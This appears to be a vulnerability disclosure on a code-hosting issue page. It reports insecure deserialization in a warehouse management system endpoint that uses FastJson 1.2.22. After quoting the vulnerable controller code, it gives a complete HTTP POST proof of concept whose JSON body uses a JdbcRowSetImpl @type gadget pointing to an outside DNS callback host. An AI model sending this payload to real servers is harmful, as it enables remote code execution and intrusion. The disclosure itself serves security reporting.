Insecure Deserialization on /pickTask/saveTaskinfoForBillOut (FastJson 1.2.22)

# Summary

FastJson version 1.2.22 contains a critical security vulnerability that allows attackers to execute arbitrary code on target systems.

# Details
```
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.22</version>
</dependency>

@ApiOperation("根据pickTasks的信息  保存到pick_task表,再根据每条picktask信息  生成相应的任务")
@ResponseBody
@RequestMapping("/saveTaskinfoForBillOut")
@Transactional
public Result saveTaskinfoForBillOut(@RequestBody Map map){

if(map != null){

String isTop = (String)map.get("istop");
        List<PickTask> pickTasks = (List<PickTask>)map.get("pickTasks");
        if(pickTasks != null){
            //初始化任务对象
            TaskInfo taskInfo = new TaskInfo();

for(int i=0;i<pickTasks.size();i++){

PickTask pickTask = JSON.parseObject(JSON.toJSONString(pickTasks.get(i)),PickTask.class);
                if(pickTask.getPickQuantity() != 0){
```

# POC

```
POST /pickTask/saveTaskinfoForBillOut HTTP/1.1
Host: 127.0.0.1:8090
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=aeb0c295-5533-40a2-a092-3ceffccc96ca
Connection: close
Content-Type: application/json
Content-Length: 230

{
  "istop": "true",
  "pickTasks": [
    {
      "class": {
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "dns://bde108e6a4.ipv6.bypass.eu.org",
        "autoCommit": true
      }
    }
  ]
}

```
![输入图片说明](https://foruda.gitee.com/images/1752223550089567786/8ed21dfa_8279293.png "屏幕截图")

wms仓库管理系统/立体仓库WMS

内容风险标识

评论 (0)

wms仓库管理系统/立体仓库WMS .gitee-modal { width: 500px !important; }

内容风险标识